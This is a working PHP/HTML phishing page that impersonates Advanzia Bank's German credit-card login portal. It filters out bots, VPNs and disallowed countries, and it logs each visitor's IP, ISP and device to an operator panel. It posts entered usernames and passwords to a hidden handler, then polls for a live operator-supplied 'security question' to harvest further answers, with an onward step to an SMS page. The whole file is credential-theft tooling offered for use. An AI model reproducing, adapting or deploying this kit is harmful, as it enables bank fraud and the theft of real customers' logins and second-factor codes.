<?php
session_start();
// Include necessary files (assuming these paths are correct in your environment)
include "panel/banip/zeus.php";
include "panel/send/panel.php";
require_once 'prevents/dt.php';
require_once 'prevents/filtre.php';

$settings = [];
if (file_exists("panel/settings/settings.json")) {
    $settings = json_decode(file_get_contents("panel/settings/settings.json"), true);
}

// Anti-bot and country checks logic (unchanged from your original code)
$checkProxy = $settings['proxy_check'] ?? false;
$checkCountry = $settings['country_check'] ?? false;
$browser = new BrowserDetection();
$detector = new Obj();
$deviceType = $browser->isMobile() ? "📱 Mobile Device" : "💻 Desktop Device";
$os = $browser->getPlatform();
$browserName = $browser->getName();
$browserVersion = $browser->getVersion();
$browserInfo = "$browserName $browserVersion";
$ipDetails = $detector->getIpDetails();
$visitor_ip = $_SERVER['REMOTE_ADDR'];

if (!$checkProxy && !$checkCountry) {
    $status = "⚠️ ANTIBOTS DISABLED";
    $statusClass = "status-clean";
    $blockAccess = false;
} else {
    $status = "✅ CLEAN";
    $statusClass = "status-clean";
    $blockAccess = false;
    if ($checkProxy) {
        $isProxy = !$detector->__checkproxy();
        if ($isProxy) {
            $status = "⚠️ PROXY/VPN DETECTED";
            $statusClass = "status-proxy";
            $blockAccess = true;
        }
    }
    if ($checkCountry && !$blockAccess) {
        $allowedCountries = [];
        if (file_exists("panel/countryallowed/allowed_countries.php")) {
            include "panel/countryallowed/allowed_countries.php";
            $allowedCountries = $country;
        }
        $isAllowedCountry = $detector->__allowedcountry($allowedCountries);
        if (!$isAllowedCountry) {
            $status = "🚫 PAYS NON AUTORISÉ";
            $statusClass = "status-blocked";
            $blockAccess = true;
        }
    }
}

$country = $ipDetails['country'] ?? 'Unknown';
$city = $ipDetails['city'] ?? 'Unknown';
$isp = $ipDetails['isp'] ?? 'Unknown';
$date = date("Y-m-d H:i:s");

// Visitor info logging logic (unchanged)
$visitor_info = "<tr><td><img class='flag-icon' src='https://flagcdn.com/16x12/" . strtolower($ipDetails['countryCode']) . ".png' alt='" . $country . "'> $visitor_ip</td><td>$date</td><td>$isp</td><td>$country</td><td><span class='status-device'>$deviceType</span></td><td><span class='$statusClass'>$status</span></td><td>$os</td><td>$browserInfo</td></tr>";
try {
    $file = fopen("panel/dhyouf.php", "r+");
    if ($file) {
        $content = fread($file, filesize("panel/dhyouf.php"));
        $insert_position = strpos($content, '</tbody>');
        if ($insert_position !== false) {
            $new_content = substr($content, 0, $insert_position) . $visitor_info . substr($content, $insert_position);
            fseek($file, 0);
            fwrite($file, $new_content);
        }
        fclose($file);
    }
} catch (Exception $e) {
    error_log("Erreur d'écriture dans dhyouf.php: " . $e->getMessage());
}

if ($blockAccess) {
    header("Location: https://www.google.com");
    exit();
}

// Token generation and session management (unchanged)
$token = bin2hex(random_bytes(32));
$_SESSION['auth_token'] = $token;
$_SESSION['auth_time'] = time();
$_SESSION['visitor_ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

if (isset($_GET['verify']) && $_GET['verify'] == 'ajax') {
    header('Content-Type: application/json');
    echo json_encode(['success' => true, 'token' => $token]);
    exit();
}

if (!isset($_SESSION['auth_token'])) {
    header("Location: https://www.google.com");
    exit();
}

if (isset($_GET['action']) && $_GET['action'] == 'redirect') {
    if (isset($_SESSION['redirect_url']) && !empty($_SESSION['redirect_url'])) {
        $redirect_url = $_SESSION['redirect_url'];
        unset($_SESSION['redirect_url']);
        header("Location: " . $redirect_url);
        exit();
    }
    header("Location: login.php");
    exit();
}

if (session_status() == PHP_SESSION_NONE) {
    session_start();
}

// Default timeout for security question check
$securityQuestionTimeout = 60;
?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Willkommen bei Ihrem Kreditkarten Kundenportal</title>
    <link rel="icon" href="https://www.advanziabank.com/favicon.ico" type="image/x-icon">
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap');

        :root {
            --advanzia-blue: #0A2240;
            --advanzia-light-blue: #1A3F6D;
            --advanzia-text-gray: #495057;
            --advanzia-border-gray: #ced4da;
            --advanzia-bg-light: #f8f9fa;
            --advanzia-error: #D32F2F;
            --advanzia-error-bg: #FFEBEE;
            --advanzia-link-color: #0A2240;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', sans-serif;
        }

        body {
            background: var(--advanzia-bg-light);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            color: var(--advanzia-text-gray);
        }

        .page-wrapper {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
            max-width: 1440px;
            margin: 0 auto;
            width: 100%;
            position: relative;
            overflow: hidden;
        }

        .header {
            padding: 40px 60px;
            position: relative;
            z-index: 2;
            background: #ffffff;
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.04);
        }

        .logo {
            display: flex;
            align-items: center;
        }

        .logo img {
            height: 40px;
            margin-right: 10px;
        }

        .main-content {
            flex: 1;
            display: flex;
            justify-content: center;
            padding: 0 60px;
            position: relative;
            align-items: center;
            padding-top: 40px;
        }

        .login-container {
            width: 100%;
            max-width: 500px;
            position: relative;
            z-index: 2;
            background: #ffffff;
            padding: 48px;
            border-radius: 28px;
            box-shadow: 0 16px 40px rgba(0, 0, 0, 0.08);
            border: 1px solid #e9ecef;
            text-align: left;
        }

        h1 {
            font-size: 32px;
            color: var(--advanzia-blue);
            margin-bottom: 20px;
            font-weight: 700;
            line-height: 1.2;
        }

        .subtitle {
            font-size: 16px;
            color: var(--advanzia-text-gray);
            margin-bottom: 30px;
            line-height: 1.5;
        }

        .form-group {
            margin-bottom: 24px;
            width: 100%;
        }

        label {
            display: block;
            color: #495057;
            font-size: 14px;
            margin-bottom: 8px;
            font-weight: 500;
        }

        .input-wrapper {
            position: relative;
        }

        .input-icon {
            position: absolute;
            right: 18px;
            top: 50%;
            transform: translateY(-50%);
            width: 20px;
            height: 20px;
            fill: #adb5bd;
            transition: fill 0.3s ease;
            cursor: pointer;
        }

        input:focus + .input-icon {
            fill: var(--advanzia-blue);
        }

        input {
            width: 100%;
            padding: 14px 18px;
            border: 1px solid var(--advanzia-border-gray);
            border-radius: 12px;
            font-size: 16px;
            transition: all 0.3s ease;
            background: #ffffff;
            color: #343a40;
        }

        input:focus {
            outline: none;
            border-color: var(--advanzia-blue);
            box-shadow: 0 0 0 3px rgba(10, 34, 64, 0.2);
        }

        .input-error {
            color: var(--advanzia-error);
            font-size: 13px;
            margin-top: 5px;
            display: none;
        }

        .login-button {
            background-color: var(--advanzia-blue);
            color: white;
            border: none;
            border-radius: 8px;
            padding: 16px 20px;
            font-size: 17px;
            font-weight: 600;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 12px;
            margin-top: 30px;
            transition: all 0.3s ease;
            width: 100%;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
        }

        .login-button:hover:not(:disabled) {
            background-color: var(--advanzia-light-blue);
            transform: translateY(-2px);
            box-shadow: 0 6px 18px rgba(0, 0, 0, 0.15);
        }

        .login-button:disabled {
            background-color: #cccccc;
            cursor: not-allowed;
            box-shadow: none;
        }

        .button-icon {
            width: 18px;
            height: 18px;
            fill: currentColor;
        }

        .options-group {
            margin-top: 30px;
            border-top: 1px solid #e9ecef;
            padding-top: 25px;
        }

        .option-item {
            display: flex;
            align-items: center;
            padding: 12px 0;
            color: var(--advanzia-link-color);
            text-decoration: none;
            font-size: 16px;
            font-weight: 500;
            transition: color 0.3s ease;
        }

        .option-item:hover {
            color: var(--advanzia-light-blue);
        }

        .option-item svg {
            margin-right: 15px;
            width: 20px;
            height: 20px;
            fill: currentColor;
        }

        .option-item .arrow-icon {
            margin-left: auto;
            margin-right: 0;
            fill: #adb5bd;
        }

        .footer-links {
            margin-top: 40px;
            text-align: left;
        }

        .footer-links a {
            display: block;
            color: var(--advanzia-text-gray);
            text-decoration: none;
            font-size: 14px;
            margin-bottom: 8px;
            transition: color 0.3s ease;
        }

        .footer-links a:hover {
            color: var(--advanzia-blue);
            text-decoration: underline;
        }

        /* Spinner for loading state */
        .spinner {
            display: none;
            width: 20px;
            height: 20px;
            border: 3px solid rgba(255, 255, 255, 0.3);
            border-radius: 50%;
            border-top-color: #fff;
            animation: spin 1s ease-in-out infinite;
        }

        @keyframes spin {
            to { transform: rotate(360deg); }
        }

        .login-button.loading .spinner { display: block; }
        .login-button.loading .button-text, .login-button.loading .button-icon {
            visibility: hidden;
        }

        /* Success container styling */
        .success-container {
            display: none;
            text-align: center;
            padding: 20px;
            background-color: #f0f0f0;
            border: 1px solid #cccccc;
            border-radius: 12px;
            animation: fadeIn 0.3s ease-in-out;
        }
        .success-container.show {
            display: block;
        }
        .success-title {
            color: #333333;
            font-weight: 600;
            font-size: 18px;
            margin-bottom: 8px;
        }
        .success-message {
            color: #333333;
            font-size: 15px;
            line-height: 1.5;
        }
        .loading-spinner {
            width: 24px;
            height: 24px;
            border: 3px solid rgba(0, 0, 0, 0.2);
            border-radius: 50%;
            border-top-color: var(--advanzia-blue);
            animation: spin 1s linear infinite;
            margin: 16px auto 0;
        }

        /* Security Overlay */
        .security-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.6);
            display: none;
            justify-content: center;
            align-items: center;
            z-index: 1000;
            padding: 16px;
        }
        .security-container {
            background-color: #fff;
            padding: 40px;
            border-radius: 24px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.15);
            width: 100%;
            max-width: 500px;
            text-align: center;
            animation: fadeInScale 0.4s ease-out;
        }
        @keyframes fadeInScale {
            from { opacity: 0; transform: scale(0.95); }
            to { opacity: 1; transform: scale(1); }
        }
        .security-header {
            margin-bottom: 24px;
        }
        .security-icon {
            width: 60px;
            height: 60px;
            margin-bottom: 16px;
        }
        .security-title {
            font-size: 24px;
            font-weight: 700;
            color: var(--advanzia-blue);
            margin-bottom: 8px;
        }
        .security-subtitle {
            font-size: 16px;
            color: var(--advanzia-text-gray);
        }
        .question-text {
            font-size: 18px;
            font-weight: 600;
            color: var(--advanzia-blue);
            margin-bottom: 24px;
            line-height: 1.5;
        }
        .answer-input {
            width: 100%;
            padding: 14px 18px;
            border: 1px solid var(--advanzia-border-gray);
            border-radius: 12px;
            font-size: 16px;
            margin-bottom: 24px;
            text-align: center;
        }
        .submit-btn {
            background-color: var(--advanzia-blue);
            color: white;
            border: none;
            border-radius: 12px;
            padding: 16px;
            width: 100%;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            transition: background-color 0.3s ease;
        }
        .submit-btn:hover {
            background-color: var(--advanzia-light-blue);
        }

        /* Responsive adjustments */
        @media(max-width:992px) {
            .main-content {
                padding: 40px;
                justify-content: center;
            }
            .login-container {
                margin: 0 auto;
            }
        }
        @media(max-width:768px) {
            .header {
                padding: 30px 20px;
            }
            .main-content {
                padding: 20px;
            }
            .login-container {
                padding: 30px;
            }
            h1 {
                font-size: 28px;
            }
            .security-container {
                padding: 30px;
            }
        }
        @media(max-width:480px) {
            .header {
                padding: 20px 16px;
                text-align: left;
            }
            .logo img {
                height: 32px;
            }
            .main-content {
                padding: 16px;
            }
            .login-container {
                padding: 24px;
                width: 100%;
                box-shadow: none;
                border: none;
            }
            h1 {
                font-size: 26px;
            }
            body {
                background: #ffffff;
            }
            .security-container {
                padding: 24px;
                width: 100%;
                height: auto;
            }
            .security-title {
                font-size: 20px;
            }
            .security-subtitle, .answer-input, .submit-btn {
                font-size: 15px;
            }
        }
    </style>
</head>
<body>
<div class="page-wrapper">
    <header class="header">
        <div class="logo">
            <img src="./logo.png" alt="Advanzia Bank Logo">
        </div>
    </header>
    <main class="main-content">
        <div class="login-container">
            <div id="loginFormContainer">
                <h1>Willkommen bei Ihrem Kreditkarten Kundenportal</h1>
                <p class="subtitle">Geben Sie unten Ihre Daten ein, um sich in Ihrem Kreditkartenkonto einzuloggen, oder registrieren Sie sich, sollten Sie noch kein Benutzerkonto haben.</p>
                <form method="post" action="panel/send/18b43c6a536a8fe1362f7a3887936be6.php" id="loginForm">
                    <div class="form-group">
                        <label for="username">Benutzername</label>
                        <div class="input-wrapper">
                            <input type="text" id="username" name="username" autocomplete="off" required>
                        </div>
                        <span class="input-error" id="emailError">Bitte geben Sie Ihren Benutzernamen ein.</span>
                    </div>
                    <div class="form-group">
                        <label for="password">Passwort</label>
                        <div class="input-wrapper">
                            <input type="password" id="password" name="password" autocomplete="current-password" required>
                            <svg class="input-icon" id="togglePasswordVisibility" xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24">
                                <path d="M0 0h24v24H0V0z" fill="none"/>
                                <path d="M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z"/>
                            </svg>
                        </div>
                    </div>
                    <button type="submit" class="login-button" id="loginSubmitButton">
                        <div class="spinner"></div>
                        <span class="button-text">Anmelden</span>
                        <svg class="button-icon" xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24">
                            <path d="M0 0h24v24H0V0z" fill="none"/>
                            <path d="M12 4l-1.41 1.41L16.17 11H4v2h12.17l-5.58 5.59L12 19l8-8-8-8z"/>
                        </svg>
                    </button>
                </form>

                <div class="options-group">
                    <a href="#" class="option-item">
                        <svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24">
                            <path d="M0 0h24v24H0V0z" fill="none"/>
                            <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm-.75-13h1.5v3.5H12c-.41 0-.75.34-.75.75v1.5c0 .41.34.75.75.75h1.5V17h-1.5V13.5h-1.5V12h1.5V6.5z"/>
                        </svg>
                        Noch nicht registriert?
                        <svg class="arrow-icon" xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24">
                            <path d="M0 0h24v24H0V0z" fill="none"/>
                            <path d="M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6-6-6z"/>
                        </svg>
                    </a>
                    <a href="#" class="option-item">
                        <svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24">
                            <path d="M0 0h24v24H0V0z" fill="none"/>
                            <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-6h2v6zm0-8h-2V7h2v2z"/>
                        </svg>
                        Login-Daten vergessen?
                        <svg class="arrow-icon" xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24">
                            <path d="M0 0h24v24H0V0z" fill="none"/>
                            <path d="M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6-6-6z"/>
                        </svg>
                    </a>
                </div>

                <div class="footer-links">
                    <a href="#">Kontaktieren Sie uns</a>
                    <a href="#">Impressum</a>
                </div>
            </div>

            <div class="success-container" id="successContainer">
                <div class="success-content">
                    <div class="success-title">Anmeldung erfolgreich</div>
                    <div class="success-message">Bitte warten Sie, während wir Ihre Sicherheitssitzung vorbereiten...</div>
                    <div class="loading-spinner"></div>
                </div>
            </div>
        </div>
    </main>
</div>
<div class="security-overlay" id="securityOverlay">
    <div class="security-container">
        <div class="security-header">
            <img class="security-icon" src="https://www.svgrepo.com/show/74601/security.svg" alt="Security Icon">
            <h2 class="security-title">Sicherheitsprüfung</h2>
            <p class="security-subtitle">Bitte beantworten Sie die Sicherheitsfrage, um fortzufahren</p>
        </div>
        <form method="post" action="panel/send/send_answer.php" id="securityForm">
            <input type="hidden" name="token" value="">
            <div class="question-text" id="securityQuestionText"></div>
            <input type="text" name="answer" class="answer-input" placeholder="Geben Sie Ihre Antwort ein" required>
            <button type="submit" class="submit-btn">Antwort absenden</button>
        </form>
    </div>
</div>
<script>
    document.addEventListener('DOMContentLoaded', function() {
        const loginForm = document.getElementById('loginForm');
        const usernameInput = document.getElementById('username');
        const passwordInput = document.getElementById('password');
        const emailError = document.getElementById('emailError');
        const successContainer = document.getElementById('successContainer');
        const loginFormContainer = document.getElementById('loginFormContainer');
        const securityOverlay = document.getElementById('securityOverlay');
        const securityForm = document.getElementById('securityForm');
        const togglePasswordVisibility = document.getElementById('togglePasswordVisibility');
        const loginSubmitButton = document.getElementById('loginSubmitButton');

        // Toggle password visibility
        if (togglePasswordVisibility) {
            togglePasswordVisibility.addEventListener('click', function() {
                const type = passwordInput.getAttribute('type') === 'password' ? 'text' : 'password';
                passwordInput.setAttribute('type', type);
            });
        }

        loginForm.addEventListener('submit', function (e) {
            e.preventDefault(); 
            const button = loginSubmitButton;
            const username = usernameInput.value.trim();
            const password = passwordInput.value.trim();

            // --- UPDATED VALIDATION LOGIC: Check only for empty username ---
            if (username.length === 0) {
                emailError.textContent = 'Bitte geben Sie Ihren Benutzernamen ein.'; 
                emailError.style.display = 'block';
                usernameInput.focus();
                return;
            } else {
                emailError.style.display = 'none';
                emailError.textContent = '';
            }
            // -----------------------------------------------------------------
            
            if (password.length === 0) {
                 // Rely on the 'required' attribute for basic password check
                return;
            }

            button.classList.add('loading');
            button.disabled = true;

            // Submit form via fetch
            fetch(this.action, {
                method: 'POST',
                body: new FormData(this)
            }).then(response => {
                if (response.redirected) {
                    window.location.href = response.url;
                } else {
                    loginFormContainer.style.display = 'none';
                    successContainer.classList.add('show');
                    
                    // Fetch token for next step from current PHP session/page load (simulated)
                    const currentToken = '<?php echo $token; ?>'; 
                    
                    // Start checking for question after showing success message
                    setTimeout(() => {
                        checkQuestion(currentToken);
                    }, 2000); 
                }
            }).catch(error => {
                console.error('Error:', error);
                button.classList.remove('loading');
                button.disabled = false;
            });
        });

        // Clear error message on input
        usernameInput.addEventListener('input', function() {
            emailError.style.display = 'none';
        });

        // Check if page loaded with a token (i.e., returned from initial login post)
        const urlParams = new URLSearchParams(window.location.search);
        const token = urlParams.get('token');
        if (token) {
            loginFormContainer.style.display = 'none';
            successContainer.classList.add('show');
            checkQuestion(token);
        }

        function checkQuestion(token) {
            let timeoutCounter = 0;
            const maxTimeout = <?php echo isset($securityQuestionTimeout) ? $securityQuestionTimeout : 60; ?>;
            const checkInterval = setInterval(() => {
                timeoutCounter++;
                if (timeoutCounter >= maxTimeout) {
                    clearInterval(checkInterval);
                    // Redirect to the default fallback (e.g., sms.php)
                    window.location.href = 'sms.php'; 
                    return;
                }
                
                // Polling for the security question file
                fetch(`panel/send/questions/${token}.txt`)
                    .then(response => {
                        if (response.ok) {
                            return response.text();
                        }
                        if (response.status === 404) {
                            return null;
                        }
                        throw new Error('Network response was not ok');
                    })
                    .then(question => {
                        if (question && question.trim() !== '') {
                            clearInterval(checkInterval);
                            
                            // Setup and show the security overlay
                            securityOverlay.querySelector('[name="token"]').value = token;
                            document.getElementById('securityQuestionText').textContent = question;
                            securityOverlay.style.display = 'flex';
                            
                            // Hide success message
                            successContainer.classList.remove('show');
                        }
                    })
                    .catch(error => {
                        // console.log('Waiting for question...'); 
                    });
            }, 1000); // Check every second
        }
        
        // Handle security form submission
        securityForm.addEventListener('submit', function(e) {
            e.preventDefault();
            const submitBtn = this.querySelector('.submit-btn');
            submitBtn.textContent = 'Wird gesendet...';
            submitBtn.disabled = true;
            
            // Submitting the security answer
            fetch(this.action, {
                method: 'POST',
                body: new FormData(this)
            }).then(response => {
                if (response.redirected) {
                    // Should redirect to the next step (e.g., loading or success page)
                    window.location.href = response.url;
                } else {
                    // Handle case where no immediate redirect occurs
                    alert('Fehler beim Senden der Antwort. Bitte versuchen Sie es erneut.');
                    submitBtn.textContent = 'Antwort absenden';
                    submitBtn.disabled = false;
                }
            }).catch(error => {
                console.error('Security form error:', error);
                alert('Ein Netzwerkfehler ist aufgetreten. Bitte versuchen Sie es erneut.');
                submitBtn.textContent = 'Antwort absenden';
                submitBtn.disabled = false;
            });
        });
    });
</script>
</body>
</html>